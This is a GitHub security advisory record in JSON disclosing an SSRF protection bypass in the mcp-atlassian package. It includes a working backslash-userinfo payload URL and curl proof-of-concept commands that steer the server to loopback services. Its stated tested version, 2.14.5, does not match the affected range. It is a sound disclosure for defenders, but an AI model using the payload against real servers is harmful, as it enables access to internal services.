{"id":"GHSA-hgcf-4mq8-5266","summary":"MCP Atlassian: SSRF Protection Bypass","details":"## Environment\n\n- Project: `sooperset/mcp-atlassian`\n- Affected function: `validate_url_for_ssrf()`\n- Affected path: header-based Jira/Confluence URL authentication flow\n- Tested endpoint: `POST /mcp`\n- Tested version: `2.14.5`\n\n## Description\n\nThe SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.\n\nAffected code:\n\n```python\nparsed = urlparse(url)\nhostname = parsed.hostname\n...\nip_error = _check_ip_address(hostname)\n...\ndns_error = _check_dns_resolution(hostname)\n```\n\nPayload:\n\n```text\nhttp://127.0.0.1:6666\\@www.baidu.com\n```\n\nFor this input, `urllib.parse.urlparse()` treats the hostname as:\n\n```text\nwww.baidu.com\n```\n\nTherefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:\n\n```text\nhttp://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself\n```\n\nThis allows an attacker-controlled Jira URL to target loopback or internal services.\n\n## Proof of Concept\n\nStart a local HTTP server:\n\n```bash\npython3 -m http.server 6666 --bind 127.0.0.1\n```\n\nStart `mcp-atlassian` with streamable HTTP transport on port `9000`.\n\nInitialize an MCP session with the malicious Jira URL:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\\n  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"ssrf-test\",\"version\":\"0.1\"}}}'\n```\n\nSend the initialized notification using the returned `Mcp-Session-Id`:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'mcp-session-id: \u003cSESSION_ID\u003e' \\\n  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\\n  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\\n  --data '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}'\n```\n\nTrigger Jira fetcher creation and token validation:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'mcp-session-id: \u003cSESSION_ID\u003e' \\\n  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com' \\\n  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}'\n```\n\nObserved response:\n\n\u003cimg width=\"1505\" height=\"442\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e\" /\u003e\n\nThe local HTTP server also receives the request, confirming SSRF.\n\n\u003cimg width=\"891\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6\" /\u003e\n\n## Root Cause\n\nThe security validation and the actual HTTP request do not use the same URL interpretation.\n\n- `validate_url_for_ssrf()` uses `urllib.parse.urlparse()` and validates `parsed.hostname`.\n- For the payload, `parsed.hostname` is `www.baidu.com`.\n- The actual request is sent by the Atlassian client through `requests.Session`.\n- `requests` treats the target as `127.0.0.1:6666` and percent-encodes the backslash into the request path.\n\nThis parser mismatch allows a restricted host to be hidden before `\\@`.\n\n## Impact\n\nAn attacker who can provide `X-Atlassian-Jira-Url` or `X-Atlassian-Confluence-Url` may force the server to send requests to loopback or internal services despite SSRF validation.","aliases":["CVE-2026-77274"],"modified":"2026-09-22T21:00:07.801863927Z","published":"2026-09-22T20:36:22Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-22T20:36:22Z","nvd_published_at":"2026-09-22T18:17:19Z","cwe_ids":["CWE-918"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77274"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/pull/1448"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"},{"type":"PACKAGE","url":"https://github.com/sooperset/mcp-atlassian"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"}],"affected":[{"package":{"name":"mcp-atlassian","ecosystem":"PyPI","purl":"pkg:pypi/mcp-atlassian"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"versions":["0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.2","0.1.3","0.1.4","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.2","0.11.2a2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.14.2","0.14.3","0.15.0","0.16.0","0.16.1","0.17.0","0.18.0","0.18.1","0.19.0","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.20.0","0.20.1","0.21.0","0.21.1","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hgcf-4mq8-5266/GHSA-hgcf-4mq8-5266.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}]}